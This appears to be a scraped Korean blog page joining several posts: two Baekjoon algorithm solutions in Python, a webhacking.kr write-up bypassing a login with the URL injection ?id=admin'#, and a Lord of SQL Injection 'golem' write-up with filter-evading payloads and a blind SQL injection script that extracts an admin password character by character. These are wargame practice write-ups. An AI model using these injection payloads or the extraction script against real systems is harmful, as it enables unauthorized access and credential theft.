n=int(input())
cnt=0
for _ in range(n):
    word=input()
    arr=[]
    for i in word:
        if i not in arr:
            arr.append(i)
        else:
            if i == arr[-1]:
                arr.pop()
            else:
                arr.append(i)
    if not arr:
        cnt += 1
print(cnt)

<코드설명>

단어의 수인 n을 먼저 입력받아 주었다. 그리고 n만큼 for문으로 반복시켜 word를 input 받아주었다.

word의 문자를 하나씩 살펴보고, arr에 문자인 i가 없다면 arr에 append하여 추가시켜주었다.

그렇지 않은 경우, i가 arr의 마지막 원소가 같으면 arr를 pop하여 삭제시켜주었다. i가 arr[-1]과 다르면 arr에 i를 append 해주었다.

이렇게 계속해서 pop이 되어 arr에 원소가 남지 않았다면 cnt값을 1 증가시켜주도록 하였다.

좋은 단어의 개수를 출력하기 위해 cnt값을 출력해주었다.

 

 

<실행결과>

'Algorithm > BOJ' 카테고리의 다른 글

[BOJ] 25325 학생 인기도 측정  (0) 2022.10.02
[BOJ] 1912 연속합  (0) 2022.09.25
[BOJ] 22233 가희와 키워드  (0) 2022.09.24
[BOJ] 1475 방 번호  (0) 2022.09.18
[BOJ] 4358 생태학  (0) 2022.09.18

import sys

n, m=map(int, sys.stdin.readline().split())
dic=dict()
for _ in range(n):
    dic[sys.stdin.readline().rstrip()]=1

for _ in range(m):
    wm = sys.stdin.readline().rstrip().split(',')
    for word in wm :
        if word in dic.keys() :
            if dic[word] == 1 :
                dic[word] -= 1
                n -= 1
    print(n)

<코드설명>

키워드 개수인 n과 블로그에 쓴 글의 개수인 m을 먼저 입력받았다. 키워드를 입력받기 위해 n만큼 for문을 반복시켜주었고, dict에 키워드들을 입력받아 저장해주었다. 그리고 1을 해당 key 값에 저장해주었다. 

글에 사용된 키워드를 입력받기 위해 m만큼 for문을 반복시켜주었고, 쉼표로 구분해주기 때문에 split(',')을 추가하여 wm에 입력을 받아주었다.

wm의 word가 dic.keys()에 있으면서 dic[word]의 값이 1이라면 1을 감소시켜주고 키워드 개수인 n도 1씩 감소하도록 하였다.

최종적으로 남는 키워드의 개수인 n을 출력해주었다.

 

 

<실행결과>

'Algorithm > BOJ' 카테고리의 다른 글

[BOJ] 1912 연속합  (0) 2022.09.25
[BOJ] 3986 좋은 단어  (0) 2022.09.25
[BOJ] 1475 방 번호  (0) 2022.09.18
[BOJ] 4358 생태학  (0) 2022.09.18
[BOJ] 20291 파일 정리  (0) 2022.09.17

Challenge 19의 초기 화면이다.

제출 버튼을 눌렀더니 아래와 같이 admin이 아니라고 출력되었다. 이와 동시에 url이 다음과 같이 바뀌었다. http://webhacking.kr/challenge/js-6/?id=admin


url에 ?id=admin'#을 입력해주어 뒤를 주석처리하도록 해주었다.
이를 통해 다음과 같이 공격에 성공할 수 있었다.

'Web Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Challenge 47  (0) 2022.11.06
[webhacking.kr] Challenge 27  (0) 2022.10.09
[webhacking.kr] Challenge 25  (0) 2022.10.02
[webhacking.kr] Challenge 20  (0) 2022.09.18
[webhacking.kr] Challenge 1  (0) 2022.09.09

preg_match함수를 통해 or, and, substr, (, = 등의 입력을 막고 있다.

 

1) 비밀번호 길이 찾기

- ?pw= || id like 'admin' %26%26 length(pw) like 5%23

 

- ?pw= || id like 'admin' %26%26 length(pw) like 8%23

위처럼 비밀번호가 8임을 알 수 있다.

 

2) 비밀번호 찾기

자동화 스크립트를 통해 비밀번호 길이와 비밀번호를 동시에 구하도록 하였다.

import requests

url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
cookies = {'PHPSESSID' : 'tqe22gs5ja0r848pf9bg7ddi2f'}

len=0
while True:
    len+=1
    print(len)
    params={'pw':"' || id like 'admin' && length(pw) like {} #".format(len)}
    res=requests.get(url, params=params , cookies=cookies)
    if "Hello admin" in res.text:
        print("password length=",len)
        break
print()

arr=[]    
for k in range(1,len+1):
    for j in range(32,127):
        res = requests.get(url+"pw=' || id like 'admin' %26%26 ASCII(mid(pw,"+str(k)+",1)) like '"+str(j) ,cookies=cookies)
        
        if 'Hello admin' in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

 

비밀번호가 77d6290b임을 확인하고 url를 추가해주었더니 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] vampire  (0) 2022.09.09
[Lord of SQL Injection] orge  (0) 2022.06.19

+ Recent posts